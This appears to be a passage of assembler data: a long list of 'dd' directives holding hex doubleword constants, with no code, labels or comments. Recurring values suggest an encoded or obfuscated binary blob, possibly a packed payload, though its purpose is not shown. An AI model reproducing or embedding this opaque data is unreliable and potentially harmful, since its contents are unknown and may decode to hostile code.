		dd 2D668832h, 370876CBh, 1566A9DBh, 949F7132h, 0E77546EBh
		dd 0A734254Bh, 0BEACA2B1h, 0D520A063h, 0C49080DBh, 25CDB5B2h
		dd 0C44E7BF8h, 1561F868h, 0B2418832h, 2D154691h, 9917360h
		dd 316A9A16h, 15624CB3h, 42064432h, 4D97A954h, 0E508A58Dh
		dd 0ED06E95Dh, 233EB4B3h, 4007302Eh, 1566EE8Fh,	9E8FA932h
		dd 0D1E5601Eh, 1C8FDE36h, 0EF661132h, 0FC01EDBCh, 39E0EABBh
		dd 1F80E1B3h, 0D6E73ED4h, 0F19F6ADh, 0FEE78F1Bh, 0F195CADh
		dd 1F80FAB3h, 0ED06A7D4h, 74A9FB3Dh, 1227A7B9h,	90691727h
		dd 1566883Eh, 1560CF3Dh, 9E692232h, 15661132h, 33571DB9h
		dd 98694227h, 15662220h, 15661CDBh, 0D88432h, 0E1A5D1BAh
		dd 0CC02F58Fh, 9369D5C0h, 15668833h, 44DBC7CBh,	1460372Ah
		dd 11C2953Dh, 96698832h, 1566443Eh, 82DF4452h, 15E21EF8h
		dd 74668832h, 9769870Bh, 156626B8h, 1AB528C7h, 0EA9DFCB0h
		dd 1560ADCDh, 290A2232h, 78A87B6Dh, 1562F9DBh, 156CAD32h
		dd 28FA2232h, 3A27450Fh, 5D7CE859h, 156AC63Dh, 73062232h
		dd 4DE5F7B3h, 91A40954h, 90A12542h, 137AAA1Ch, 15661130h
		dd 4369E0CEh, 21EF4432h, 9F067916h, 0DFED77F1h,	1BD08753h
		dd 1567C43Dh, 959E2232h, 966991CBh, 1566886Eh, 1C8E1752h
		dd 54662232h, 0EA6FDB4Dh, 2D7C78A1h, 749E1C6Ah,	4AAAC9B3h
		dd 0FEE77B53h, 6762F306h, 0D6E78F33h, 67625906h, 4AAAD2B3h
		dd 4793E253h, 0EA99BB88h, 4FB50BCDh, 156601DBh,	0CC107432h
		dd 0C766747Eh, 91BB8503h, 6208D0C0h, 15A16130h,	108F4432h
		dd 47662232h, 0EFB33751h, 3BD4DA61h, 9D5FAEB2h,	0D2E678E5h
		dd 31819197h, 95EE7FB2h, 0E2E69CC5h, 0EB89A29Fh, 1A3DE81Ah
		dd 15669FB0h, 1574AD32h, 4D412232h, 0BD2F63D7h,	511657B6h
		dd 0DE1ABBFEh, 25BF60C2h, 15661CDBh, 30330232h,	0A2ABF2A1h
		dd 0B01A63B1h, 0E4E19374h, 0E4E15EC5h, 1572AD73h, 1B062232h
		dd 6A2BE88Fh, 898FD854h, 201034F3h, 50FBCFEh, 198FCEB9h
		dd 39668832h, 34A9C1E0h, 0B908FD1h, 457DE4EFh, 483FA98Ah
		dd 15674116h, 54432232h, 0D4219C49h, 144B8CD2h,	342691BDh
		dd 108F7AF3h, 98661132h, 8704D7Ah, 3F55F967h, 942364B9h
		dd 7F8DFFDFh, 488DA1D0h, 0D6E78F1Bh, 71461C74h,	54E39AC7h
		dd 0FC609D35h, 15664434h, 60883324h, 80ED30AFh,	1373AE03h
		dd 156CAD52h, 0B2762232h, 576A6D00h, 8DD3A86Fh,	15664FDBh
		dd 777F6332h, 0E3ACBB29h, 9A71ACAFh, 44DBC753h,	1460372Ah
		dd 17A2953Dh, 188F8832h, 51664432h, 0A3DC1656h,	3B3CF854h
		dd 37AB8B10h, 97699C09h, 15662211h, 1561933Dh, 92698832h
		dd 15664433h, 1AB51BCEh, 0EA9F99B4h, 156F61CDh,	0D1494432h
		dd 238992EDh, 4359ED40h, 9E4284CDh, 0D1E76006h,	15662236h
		dd 0A0919A52h, 4700E9D2h, 0E5EE2184h, 0FDA67854h, 19531536h
		dd 21A676FBh, 12EF4BC1h, 75662232h, 9EF4CBB2h, 0FCCCE9F1h
		dd 1566443Ah, 1602D345h, 1F86035Dh, 15663361h, 0E6674432h
		dd 9ED29B8h, 11A29016h,	1A668832h, 15664CB5h, 97694232h
		dd 15661132h, 0EBD3D953h, 0F0A681CCh, 1593A235h, 19EDF9BAh
		dd 11A20916h, 1A664432h, 156623BFh, 0A334E932h,	95A87627h
		dd 0CB903CDCh, 955AD4B2h, 0E3E60EC4h, 0D588582Ah, 0D3E64CD4h
		dd 0FC88A2CAh, 753CE012h, 1563093Dh, 94004432h,	0ED0BAAE8h
		dd 1577F853h, 36458832h, 0BA9181Ah, 6E2FD586h, 0BB619F5Eh
		dd 1DABCF86h, 0E0CCBDFAh, 39FDC9B3h, 0EE4F21ADh, 39FD3062h
		dd 0D66774ADh, 9406DE6Ah, 2DEE92D8h, 15746137h,	73274432h
		dd 42656E40h, 78D788BEh, 9C6D8961h, 0FB9BB61Ah,	118AA353h
		dd 9C661132h, 11DBAC1Eh, 3C664432h, 1A8F7FD9h, 9A661132h
		dd 0EEE38EE5h, 0A0DD4D5Ch, 8C996DF3h, 463695C0h, 317A036Ah
		dd 756280B1h, 74BC9D3Dh, 9E69BAC7h, 1566883Ch, 15E14B52h
		dd 94662232h, 0FB119FD5h, 0A833E915h, 15664430h, 5742CCB3h
		dd 0FB6713CAh, 57424EB3h, 0FC3B46CAh, 15662234h, 0E2F8A3A1h
		dd 0A0EF89B1h, 13734243h, 156FA63Dh, 0EC061132h, 15660C3Dh
		dd 0D2074432h, 7E73B7h,	15661034h, 9C307D32h, 11DD17D4h
		dd 14662232h, 0D3E54AECh, 31520F36h, 83D9246Eh,	75798A98h
		dd 0A47FAB54h, 7407D064h, 156657DBh, 1E0E4532h,	0E3CC5EF4h
		dd 0FB8AD98Fh, 6E4DEB98h, 0C2AD53E4h, 4E4225CDh, 1A624CB1h
		dd 156656B0h, 19EB2D32h, 0FC661132h, 15668835h,	55F24162h
		dd 9EC3438Ch, 9C33353Eh, 11A309D7h, 94664432h, 156626F7h
		dd 314A9632h, 12E5876Eh, 1A664432h, 156623BDh, 9C30E432h
		dd 11A009D4h, 42664432h, 1566268Dh, 4A981032h, 4942BCB5h
		dd 156AC13Dh, 128F2232h
		dd 3661132h, 5D54135Eh,	9C373212h, 11DD71D3h, 14661132h
		dd 0D4E5D3EBh, 316AC336h, 156ACB6Eh, 8D5A1132h,	0A84C4549h
		dd 0D5D094Fh, 950642CCh, 9969ACD6h, 15668827h, 15664BDAh
		dd 2AB30F32h, 991AA3ABh, 0A6DF7A3Eh, 94904244h,	0E38F436Ah
		dd 0FC99EEEBh, 15668839h, 544739BBh, 0E1C98F40h, 1A21FB7Bh
		dd 156689B3h, 9430B832h, 1567061Eh, 75381132h, 156686DBh
		dd 3991E532h, 0C02FEB10h, 2DA60D01h, 946F9DABh,	8EAECEE4h
		dd 18F4350h, 3661132h, 0C0713245h, 0D8F84C43h, 0B0C562BDh
		dd 0FF952F31h, 44AD3EDBh, 0C490AE83h, 0F4E6EBCCh, 0CCA791A8h
		dd 9DAC0060h, 753F1EE2h, 5884FCB3h, 749A3A6Ah, 0D7E6E898h
		dd 9E302593h, 0D1E50636h, 18E31E36h, 0FC668832h, 1566443Ah
		dd 0CF7BB9Eh, 0DB955360h, 56393567h, 0FD4F0563h, 109E0B6Fh
		dd 5437526Dh, 156685DBh, 9898AB32h, 645DE64h, 751EC174h
		dd 68FBF53h, 7664432h, 1A957BFBh, 1DD8986Bh, 9E3D9297h
		dd 0AD14FE0Ah, 0AA31765Fh, 15661136h, 4B3D3937h, 389E6D2Bh
		dd 0C387983h, 40D6716Dh, 99F24F8Ch, 0EDCD2577h,	9C62CEB1h
		dd 0F5EF3536h, 15668C37h, 11A6C732h, 494226B5h,	15661BDBh
		dd 1DE5B832h, 0F5AAF342h, 0EA111E76h, 963D3506h, 73068CF6h
		dd 0CF4AEB3h, 1575CB53h, 95661132h, 0C1F5EB67h,	0A53DADABh
		dd 79B6B819h, 705E7DBFh, 316A0353h, 9483CD67h, 156626F7h
		dd 11A39232h, 4942A4B5h, 156654DBh, 9C150B32h, 8AD63EF2h
		dd 0D770E825h, 0C2A1E46Fh, 3152DD3Ch, 11A2906Ch, 0FC668832h
		dd 15664438h, 4DD8FB5Ah, 13512070h, 9C3598D7h, 11A5C5D1h
		dd 96662232h, 9E115F1h,	31420316h, 156654DBh, 7D5D5F32h
		dd 64F14EADh, 4713DDE8h, 5B818954h, 0CE53CB03h,	1B8FEECDh
		dd 74668832h, 455FD48Ch, 0CAAD5B70h, 4D404DC3h,	3BE34F28h
		dd 106058BAh, 75662232h, 15661BDBh, 7C41EC32h, 0D9B75F8Dh
		dd 9E2BD4C8h, 943070FAh, 680DAC06h, 9ED4E36h, 11A2A316h
		dd 94661132h, 111BE3C1h, 1569AD38h, 0ECA42232h,	506ECFB6h
		dd 0C00E49D6h, 0C03DA87Eh, 118AA1EFh, 0AD4215BBh, 15668836h
		dd 753E8733h, 43ECCBB3h, 0AA691352h, 0AD36E9C1h, 15664432h
		dd 0EA0B5137h, 3896100Fh, 2899E541h, 0FC3E5C31h, 1566223Bh
		dd 0FC2386A1h, 4061138Dh, 54E3CFA2h, 75603735h,	15661BDAh
		dd 29923C32h, 67602EB5h, 0AB08ED1Eh, 445051C9h,	3EC876Bh
		dd 0FC664432h, 15662223h, 0DE628F33h, 77EDDD4Ah, 4FA370D7h
		dd 0EBA8DF20h, 80ED706Ch, 1373AE03h, 14DD17CAh,	3C662232h
		dd 90694AECh, 15668833h, 4CDBC7CEh, 1460373Eh, 13D5953Dh
		dd 93698832h, 1566443Ah, 733E7252h, 74646D88h, 97695009h
		dd 15664409h, 156629DBh, 526AFE32h, 14F4E9E7h, 0F06AB166h
		dd 9369F809h, 15661003h, 15616052h, 0B30B4432h,	95A398CFh
		dd 0C6ED7792h, 0D2E7EE6Bh, 1A07A92Eh, 156624B7h, 0C5EC7132h
		dd 9C07E952h, 603587h, 749E4234h, 9D488CB9h, 949A8E2Eh
		dd 3D6A6076h, 942A2D29h, 936A3576h, 145A6E3Bh, 946A606Eh
		dd 936A065Eh, 945AF73Bh, 3D6AAC5Eh, 0E02A4B29h,	15600ADBh
		dd 1FE41E32h, 0FC668832h, 15664437h, 43290030h,	315A9A7Ch
		dd 94830167h, 156640F7h, 11A3A132h, 49423DB5h, 0AC00E852h
		dd 74062906h, 0D207DE53h, 6A48B7h, 15668934h, 9E69BD32h
		dd 15662239h, 156617DBh, 0EAF00132h, 9E848FF4h,	9C35062Eh
		dd 11A590D1h, 96668832h, 9E140F1h, 1F8F7E16h, 0AF661132h
		dd 4BC44A7Fh, 1CCBB87Ah, 316AA94Ah, 94859861h, 15668CF1h
		dd 11A5C732h, 49423EB5h, 1BEC1E52h, 0FC668832h,	1566443Bh
		dd 42E6D06Fh, 0F74CE131h, 749502AFh, 4B4270CDh,	0FC62E6B1h
		dd 15661134h, 1274BCCEh, 9C356610h, 11A5A3D1h, 96661132h
		dd 0EA358CF1h, 4E626046h, 494226BDh, 156F903Dh,	42068832h
		dd 0FEE72269h, 0FC075451h, 0EA99C737h, 44DB0BCAh, 1460512Ah
		dd 1021A63Dh, 68F1132h,	0C8668832h, 13C782A7h, 85F7FC8Dh
		dd 0FA1FC80h, 0B93B9E37h, 884DABA1h, 13732573h,	0A4EB9AC7h
		dd 0FC609D2Fh, 15664426h, 723C4A62h, 99B44CE6h,	5B7A89B8h
		dd 0EA3F89AAh, 0E10F3891h, 306CA962h, 0DB4BAD19h, 1490E3D8h
		dd 0CC677AF3h, 2F5AF8B3h, 0FC06A6B1h, 15664437h, 73C0E66Ah
		dd 78F42EBh, 0C8668832h, 566A6FB0h, 7EF342DEh, 67136484h
		dd 0E8C6BB8Bh, 0ED071DF6h, 2737CBB3h, 0D4E719ECh, 5B50CDD6h
		dd 0FCE7BD1Bh, 5B5067D6h, 2737D0B3h, 9F6980ECh,	15664433h
		dd 0AB30DACAh, 15661137h, 4DB449B3h, 0E44F731Eh, 4DB4CBB3h
		dd 0FC38261Eh, 15668821h, 4A3688B5h, 767AE62Ch,	7CB272BAh
		dd 59C5110Ch, 47A15970h, 0A38C9262h, 4DA011E9h,	9D4A7EB2h
		dd 93691EC2h, 15662235h, 95077152h, 0BF071EC2h,	0FE0E2552h
		dd 9C662228h, 4D373536h, 0D2E7E86Bh, 6354E7A2h,	7D9E8953h
		dd 156666A9h, 9C42A4BBh, 11A3C5D7h, 96662232h, 39E115F7h
		dd 0EA9FD416h, 943D6006h, 156626F6h, 19EDE432h,	0F0EFDD16h
		dd 156281B3h, 0D0E72232h, 15661136h, 4942A4B5h,	0C4E72452h
		dd 173F4FC0h, 0B32FAF54h, 0C5D98753h, 3152CF53h, 9487AB63h
		dd 156615F3h, 11A70B32h, 494248B5h, 1575CBCEh, 0ACC21132h
		dd 8D3C035Fh, 54304C0Bh, 0DA2317EBh, 648187D3h,	0F3EFDEB8h
		dd 156282B3h, 0AC372232h, 15661136h, 923F4633h,	0ED3A6006h
		dd 0EAB164DBh, 1568F8CDh, 0F8A38832h, 0A2B09DE2h, 5ED9BB50h
		dd 1F3AE416h, 156B0C3Dh, 1D8F4432h, 0E9662232h,	90D5270Ch
		dd 0D24E19F4h, 9EE6AB7h, 15662034h, 1572F832h, 7B5B8832h
		dd 0B1C6C0A9h, 0FED230E9h, 3CD78C37h, 0E601C70Bh, 7D9EE36Fh
		dd 15664605h, 9C4205BBh, 4FB501C0h, 8DEFC52h, 78E749Ch
		dd 5D661132h, 0E87FFA27h, 9D65AB71h, 5633C2B1h,	0EE7491F5h
		dd 0DF5367Fh, 743E5AC4h, 7568943Dh, 9B69FEB8h, 15668834h
		dd 1566CF3Dh, 0EC072232h, 1AE6E8B2h, 156600B1h,	0A833BD32h
		dd 56476543h, 25BED4B3h, 0F0E7E5A8h, 2DE55FA3h,	1BBCD7B3h
		dd 0F0E73F42h, 74C043h,	0D0E799C5h, 3CA5BFFh, 143BFA33h
		dd 698D09F9h, 7564DE4Bh, 1563AA3Dh, 94001132h, 1A2F33DAh
		dd 156644BCh, 96354332h, 4E673536h, 15770E3Dh, 96694432h
		dd 15662239h, 156617DBh, 221F2E32h, 0ED986A8Ch,	1566F2DBh
		dd 0AF9A7132h, 2909DAA2h, 0FD352453h, 1566223Ah, 0D21EAC35h
		dd 523E218Dh, 0FFE71F68h, 3609533Dh, 178A9253h,	31620154h
		dd 0D44EBB82h, 1A067A54h, 156613BAh, 7507E832h,	1566CE3Dh
		dd 94002232h, 74B263C3h, 4C33D953h, 92BBB36Fh, 4E42DDBh
		dd 0FC661132h, 1566883Eh, 0B2288102h, 6A4DF1E2h, 27697786h
		dd 39783567h, 0D8E72B4Fh, 71340C6Ch, 9463F4F3h,	1F289EF7h
		dd 0C3D91329h, 0E2374C4Fh, 0D8A190EDh, 1CD4A881h, 0C8911BCFh
		dd 2B90E7B3h, 0FC477BC0h, 19EB876Fh, 1A664432h,	156624B7h
		dd 15EE1E32h, 0ED668832h, 2DB2FD63h, 0DE6737DDh, 94AD386Bh
		dd 0FA5E5CD9h, 1575AD27h, 0D0BE2232h, 0D5B66F54h, 7C63E7DEh
		dd 6125909Fh, 0CD0055D0h, 54E39A3Fh, 1A609D35h,	156645B5h
		dd 80EDDB32h, 13733703h, 0EF9961CAh, 759ABBCDh,	128FE1B9h
		dd 70661132h, 0ABFB2821h, 0D2074006h, 9EE0CB7h,	15661334h
		dd 40347032h, 0FFEFB1BBh, 4FB5AB6Fh, 1569933Dh,	1F8F8832h
		dd 0CA664432h, 0CD5B7B99h
		dd 7C27898h, 1BD08765h,	959FC4CEh, 1508A13Dh, 94691132h
		dd 1566882Ah, 156657DBh, 8E3DA832h, 48C1A0C1h, 0D6095281h
		dd 0F97E2DE4h, 0A744D5D5h, 348FD2B3h, 0FEE7E85Ah, 7F832D0Ch
		dd 0D6E7E933h, 7F83780Ch, 348F63B3h, 1A9F245Ah,	15662DBCh
		dd 156CF832h, 0DED38832h, 0CAE326D9h, 9BEBD39h,	1567AB60h
		dd 0C6678832h, 1560AD68h, 54732232h, 87FAD5ACh,	156609DBh
		dd 14E44B32h, 0E9662232h, 45A6A661h, 0F256B786h, 4E9F6C6Ah
		dd 0CDED4452h, 1384CBB3h, 5C07E5D5h, 3172B363h,	156ECB6Bh
		dd 6B171132h, 0F66055FBh, 9B6902DAh, 15662233h,	3D847CAh
		dd 5339824Dh, 0F2A0C574h, 34C6D7B3h, 31529AC3h,	0FC624CB1h
		dd 1566443Fh, 43B6265Fh, 0EA68236Bh, 6A942A3Ch,	1FA5C547h
		dd 944ADD3Dh, 0F16E23F1h, 94ADA146h, 0F16E76D9h, 1F8DA346h
		dd 1A4AEE3Dh, 156689B1h, 90EDBD32h, 13732573h, 0CAED7752h
		dd 15640A3Dh, 13D64432h, 1E8F4253h, 59661132h, 86C775E5h
		dd 9691DA80h, 9E07F933h, 4020A7h, 1AE68734h, 75664432h
		dd 156627DAh, 0CE724932h, 753E6CD0h, 0A8E52553h, 13733A63h
		dd 36E21E33h, 0EC9977C5h, 97699C09h, 1566221Fh,	15661FDBh
		dd 0D4A4DA32h, 0D365E96Ch, 0A78D99C5h, 2CEA2594h, 0E7E087E1h
		dd 7599BBDFh, 15662ADBh, 0FF089B32h, 5BD7A34h, 0CBD14B9Fh
		dd 14DB7753h, 3C661132h, 1B8FD5DCh, 0E3664432h,	5DDB35E0h
		dd 0CDC812A7h, 5F523C77h, 2EEE2C30h, 21EF2232h,	314A9016h
		dd 8C0CF2Bh, 0CA7C56Bh,	1A7B8475h, 156610B6h, 0A8337432h
		dd 3D4977E2h, 55CFEFB3h, 0D42B5FA1h, 0F8E780DFh, 3A3A7AFAh
		dd 7F43CFB3h, 0D0E75A72h, 0D549C682h, 3C3BAD33h, 238FA3CBh
		dd 75201057h, 1E91568Ah, 0EBED2274h, 12E42D53h,	1A661132h
		dd 156689B4h, 0F9E5B832h, 315AAB36h, 1566148Dh,	4A9FA132h
		dd 0DBD94B52h, 156CCB53h, 4EB91132h, 0B69D602Ch, 86ECF244h
		dd 0A5AC9363h, 9EAE2111h, 0D1E7AC3Eh, 15664436h, 1575CB52h
		dd 74341132h, 1427443h,	67DD0485h, 9F29847Dh, 0CF096A70h
		dd 0BF9FE9D1h, 17E54B52h, 9F662232h, 0EDD91EFAh, 0F9E7D853h
		dd 15664436h, 4D422EBBh, 156FF86Bh, 23838832h, 0ABFF87DAh
		dd 0BEA4092Ah, 0EFD91E52h, 0FC073483h, 0EA999699h, 88DD71CBh
		dd 947D535Dh, 6C29D7C1h, 0C28DC550h, 94700E66h,	0E45204F1h
		dd 9F9589AEh, 0E9061F31h, 15EB2D62h, 4F661132h,	7336E853h
		dd 4A07908Ah, 156630DBh, 24705032h, 81EBAC91h, 73AD3EBAh
		dd 0F58820E6h, 74695324h, 9169600Eh, 1566440Fh,	0F1DC70CBh
		dd 0AD39AB71h, 4ADCCBD6h, 1ED9403h, 11A2A316h, 0FC661132h
		dd 1566883Bh, 668E4232h, 5904122Ch, 1419F821h, 0AF068832h
		dd 65730210h, 1560AF3Dh, 97691132h, 15668832h, 0F2EF1353h
		dd 1562E5B3h, 0FAE51132h, 315A0F36h, 317ACD6Eh,	13E82D52h
		dd 1A661132h, 156688B4h, 0CEA6C532h, 74011742h,	153B755Ah
		dd 31520132h, 94002469h, 749405E5h, 1567A863h, 0E4678832h
		dd 1566FE60h, 0DF672232h, 4C3C0B31h, 0AB30DDCBh, 33D96C29h
		dd 55B1C88Fh, 4B9310EBh, 0ED3B6333h, 0EBCAF260h, 95B0D4F4h
		dd 0CB9077C4h, 0EB513F61h, 3191C4F5h, 9D3DDC32h, 0BF934BC2h
		dd 1561043Dh, 99694432h, 15662233h, 208D90C7h, 3C622C1Ah
		dd 0FDDB11C9h, 940B093Bh, 9387A2DFh, 488D895Ah,	15664BDBh
		dd 9FFB3632h, 20A3603Ah, 0DD3789EBh, 0E890F1Ah,	15629C64h
		dd 0D6E71132h, 3F2097E7h, 0FEE7B71Bh, 3F203DE7h, 1DEC1E6Ch
		dd 1A668832h, 156646B1h, 45074232h, 31629A61h, 15624CB3h
		dd 0FC3D4432h, 15662221h, 0FCFC6BB3h, 0AEA3BF34h, 4B72A9B3h
		dd 0EE0FA9B8h, 0BED99E40h, 75B70852h, 9E078CB8h, 9C30062Eh
		dd 11A090D4h, 94668832h, 156640F4h, 3152A532h, 0A833E96Eh
		dd 15668837h, 13B3AAB3h, 0FB6762B2h, 13B3D7B3h,	753BC8B2h
		dd 1A2691B2h, 156630B5h, 156AF932h, 474A8832h, 0F42BB7E5h
		dd 2BCB7916h, 743C2FC7h, 0F06E063h, 943F22E9h, 0AC08B8DBh
		dd 0FCE75868h, 936EFACh, 5140FF61h, 0CC57CDE3h,	4CAE9869h
		dd 138F4BCAh, 2A664432h, 0B68DC8B7h, 0F2EF46D4h, 15624FB3h
		dd 0FAE54432h, 315AA536h, 316A986Eh, 15670F3Dh,	449A4432h
		dd 1566228Bh, 47971032h, 15668888h, 73AC4532h, 4C3C20B9h
		dd 15661DDBh, 0BAF0F132h, 0B33B84D5h, 9F7DA05Fh, 1AA52D74h
		dd 1567EDB6h, 13EC4B32h, 75662232h, 4B364A61h, 1AADB453h
		dd 156715B6h, 1FE92D32h, 75661132h, 0E1239788h,	0C5D94B5Ah
		dd 1AA41E53h, 156778B6h, 12E48732h, 75664432h, 9E007B65h
		dd 996970F1h, 15668838h, 69EEFB52h, 9E0035F6h, 0DF5A70FCh
		dd 14220C3Dh, 95694432h, 1566223Ah, 1564993Dh, 74068832h
		dd 30997954h, 1433A63Dh, 1C8F1132h, 7B668832h, 0E521050Eh
		dd 7180AF3Ch, 0AA694752h, 7307D6CBh, 1A996A0Fh,	15665DB7h
		dd 156DF832h, 286E8832h, 9AD5A443h, 0E92FAC64h,	118A926Eh
		dd 0AF429CBBh, 15664430h, 17ECD033h, 19EF1E68h,	1A668832h
		dd 156642BEh, 15EF2D32h, 47661132h, 46006784h, 0EB565285h
		dd 0CB907954h, 0D3E6CFC4h, 4F96A8C5h, 156DAC52h, 0B68B2232h
		dd 6BD26672h, 0D0944824h, 0E5D94B3Ah, 19E12D68h, 0FC661132h
		dd 15668835h, 0F037504Ch, 741ABB13h, 9169B10Eh,	156688D1h
		dd 9400BC52h, 74E26CC1h, 40421DB9h, 0D0E76DBBh,	15664436h
		dd 9262E7B1h, 0FC3A351Eh, 15668821h, 0D8694357h, 0D3865CC4h
		dd 183AD734h, 34EEE919h, 7D5DC4D4h, 156647B8h, 0AF4205BBh
		dd 15668832h, 1A3C94BBh, 156635B4h, 1574F832h, 443B8832h
		dd 3A3EC53Eh, 0D240B4Ah, 0D47DDEADh, 18A1AE47h,	15675EDBh
		dd 0DC57DE32h, 156E963Dh, 93698832h, 15664430h,	0AA314352h
		dd 0EA99EECDh, 0ED39711Bh, 156635DBh, 0AD004232h, 94006A0Ah
		dd 74D72CF3h, 47D82252h, 0A8334393h, 15661131h,	9C890165h
		dd 0FC3B1BCBh, 1566223Ah, 0C26BC153h, 0FCEC706h, 156605DBh
		dd 0D7E74232h, 43796BE5h, 400746B9h, 1566428Fh,	9E8FAB32h
		dd 0D1E5351Eh, 368F7036h, 1A664432h, 156628B9h,	9E007132h
		dd 64230C5h, 43072423h,	341A6E8Ch, 0AEDC431Bh, 9CB056B1h
		dd 0E4671EE3h, 0B195D76Ch, 15689A3Dh, 1C8F8832h, 0A4664432h
		dd 4F3DC990h, 0AFA9C97Ah, 24EB03CAh, 1A605114h,	156623B0h
		dd 0DCE3E832h, 15780D3Dh, 73064432h, 0D337C0B3h, 0EEAF9054h
		dd 0A0EFE942h, 13736203h, 1560A13Dh, 1A061132h,	749E5885h
		dd 464248B9h, 0D6E7C1BBh, 15661136h, 92624BB1h,	753A602Eh
		dd 0D6E744C7h, 0E907DA86h, 7E683361h, 432D40DAh, 71246A8Ch
		dd 4B953833h, 0C25A4BB3h, 0CDEFB849h, 1A354269h, 156611BFh
		dd 0D607D332h, 239922CAh, 3162A954h, 1564D5B3h,	96698832h
		dd 15664426h, 15662DDBh, 435A0432h, 0AB16111Fh,	3A038223h
		dd 0AE48473Dh, 156619DBh, 0B4BDA132h, 0B8FB0D33h, 1AA51E32h
		dd 1567D6B6h, 9D347132h, 0C5EE14F0h, 4F3EE1BAh,	4E344752h
		dd 1563616Ah, 0B464432h, 7469A575h, 15759D3Dh, 1B8F8832h
		dd 0E1664432h, 0FC23B5A1h, 40618A8Dh, 168BBEA2h, 0A73422B4h
		dd 73B502C2h, 944205B9h, 15668AF6h, 94002432h, 9EA37CFDh
		dd 0EEE670E8h, 0B9E28742h, 0EC664431h, 9169CB0Eh, 1566105Ah
		dd 15669ADBh, 35A05632h, 2EEFDE76h, 0BD580736h,	37A44591h
		dd 2939ABBDh, 5CE22DD9h
		dd 75661133h, 6B800852h, 4A0FC53h, 29074D5Bh, 20E21EF0h
		dd 0ED668833h, 91698F0Eh, 1566231Eh, 15699F3Dh,	1F8F8832h
		dd 664432h, 5E5DB41Fh, 0B57D8142h, 0EA5BEE27h, 18E24B17h
		dd 75662233h, 0FDF4A152h, 15668820h, 10FC2A48h,	4BC581A4h
		dd 0A7E0CD6Dh, 2DAF7B01h, 7439DBEAh, 74D3E3B2h,	9169DB0Eh
		dd 156688D6h, 157BC33Dh, 9B692232h, 15661125h, 15669ADBh
		dd 0E55E7532h, 1D9F1C7Bh, 841F39A4h, 823C304Bh,	0FC19E9B0h
		dd 15662221h, 362A0351h, 3F0B5691h, 0C69B6DEFh,	8BA6B0D4h
		dd 2929A787h, 0C9E287D1h, 1A664430h, 15662EB2h,	13EF1E32h
		dd 1A668832h, 156644B1h, 3B5B4432h, 47E31ECDh, 0FC668832h
		dd 1566443Ch, 1765AB06h, 0D08CC621h, 6F2CF4C2h,	0AC37A827h
		dd 15662230h, 4996F8B3h, 0E467E32Bh, 499685B3h,	14EC492Bh
		dd 0F9E7ED6Bh, 15668836h, 0A64258BBh, 9EA5A2F1h, 35D8E2B2h
		dd 2993D3EAh, 28E24B92h, 0FC662232h, 15661137h,	0F15F345Fh
		dd 15DB11B7h, 9C662232h, 314A9ADAh, 15624CB3h, 73064432h
		dd 0FC064C8Dh, 15661137h, 0D269A9F1h, 6B8F25DEh, 1A662232h
		dd 156616BFh, 0FFE6E832h, 74A4CE3Bh, 335797BBh,	73061727h
		dd 737D1C8Bh, 746C028Dh, 8394BFBFh, 0FC9A1729h,	1566883Dh
		dd 4BA616A5h, 65FCE9ACh, 0F26A9EFBh, 0EAF3A6E5h, 0AB0024E1h
		dd 0CDED6D2Ch, 68DC4353h, 941E090Eh, 8D5F57D8h,	4BDF735Dh
		dd 1C3AC52Dh, 0FFE7D1F8h, 659C0EB4h, 1EACA370h,	947C176Bh
		dd 13BB72D8h, 4FB6CDCCh, 156DAB3Dh, 138F1132h, 0D1668832h
		dd 1ED48A5Bh, 9C69E152h, 1566113Ah, 15640D3Dh, 74064432h
		dd 151F1F5Ah, 31629832h, 5DFD9CEh, 14664432h, 4D57DDC3h
		dd 9169716Bh, 15668837h, 0C66C4A88h, 90EF4328h,	13730D8Fh
		dd 315277C7h, 11A2C56Ah, 0E0662232h, 661A962h, 0CD91A87Fh
		dd 4ED4417Ah, 0CD9120DDh, 206EF1F3h, 48D1DE2Eh,	0ED3E8233h
		dd 140F9FBFh, 99691727h, 15668822h, 15664FDBh, 72CA9332h
		dd 44D78434h, 2270D76Ah, 0C3D14B52h, 0B807C280h, 15739F3Dh
		dd 58F8832h, 84664432h,	97C6E09h, 6D355FCBh, 363128BFh
		dd 107FCB4Eh, 7C246468h, 31425531h, 533C3567h, 0FD4F2D70h
		dd 9400426Fh, 1A762DD9h, 0BE07588Dh, 1567CF3Dh,	1A9E2232h
		dd 156610B1h, 0A8EB7032h, 1373743Bh, 1567AD3Dh,	0EC9A1132h
		dd 0CBE7E89Fh, 5EBB49F6h, 1569CA64h, 7D91132h, 4BE9222h
		dd 0FC7B402Ah, 3B888D5h, 74394B52h, 2979D437h, 38B66947h
		dd 516512CEh, 0C5633516h, 3856741Fh, 605A5B6Eh,	0DDED4452h
		dd 0DCE77752h, 19DC5411h, 743A55E6h, 0CFE74253h, 3E458011h
		dd 74A50354h, 151FD95Ah, 3162AB32h, 9E00E452h, 9E06E9C5h
		dd 0EDCD25CBh, 156627DBh, 8E4B632h, 0A8EBEDB5h,	137366BBh
		dd 128F8FCBh, 2C661132h, 0EBBEA930h, 0F24BC812h, 38175B6Dh
		dd 353070A5h, 3D42CC31h, 4307D337h, 4A812712h, 1A8F604Bh
		dd 20668832h, 0C148700Ah, 27D9A838h, 34F15D6h, 1ACDFB3Bh
		dd 15664CB4h, 17EC2D32h, 75661132h, 156D6153h, 0F8784432h
		dd 5E451669h, 0BA963F2Ah, 31520323h, 9485CD61h,	156626F1h
		dd 11A59032h, 92668832h, 0E93A602Eh, 0CCE742F1h, 605215FCh
		dd 94075EB9h, 156640DEh, 3152AB32h, 5AFB9CCEh, 756093A4h
		dd 156641DAh, 0F4EE8332h, 943CADABh, 89F0E1F5h,	94062529h
		dd 0CD5696F9h, 9E697136h, 15668832h, 15664FDBh,	3BF17432h
		dd 0C7747067h, 56D73F09h, 0C6992553h, 15662ADBh, 0F6FFEF32h
		dd 6100E3D7h, 2F8FBDD5h, 0FC99DDCFh, 15661134h,	7CF3863Ah
		dd 0CEDFBC2Fh, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 59C19CC0h
		dd 0A8ED96A4h, 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h
		dd 798A152Ah, 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah
		dd 382C5E13h, 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh
		dd 0AC8A152Ah, 54A851D6h, 0BA8660D5h, 0CE2559D7h, 43965394h
		dd 0C132DCF1h, 0BA8C096Dh, 0A8EDD871h, 458A42C3h, 58DDAEA2h
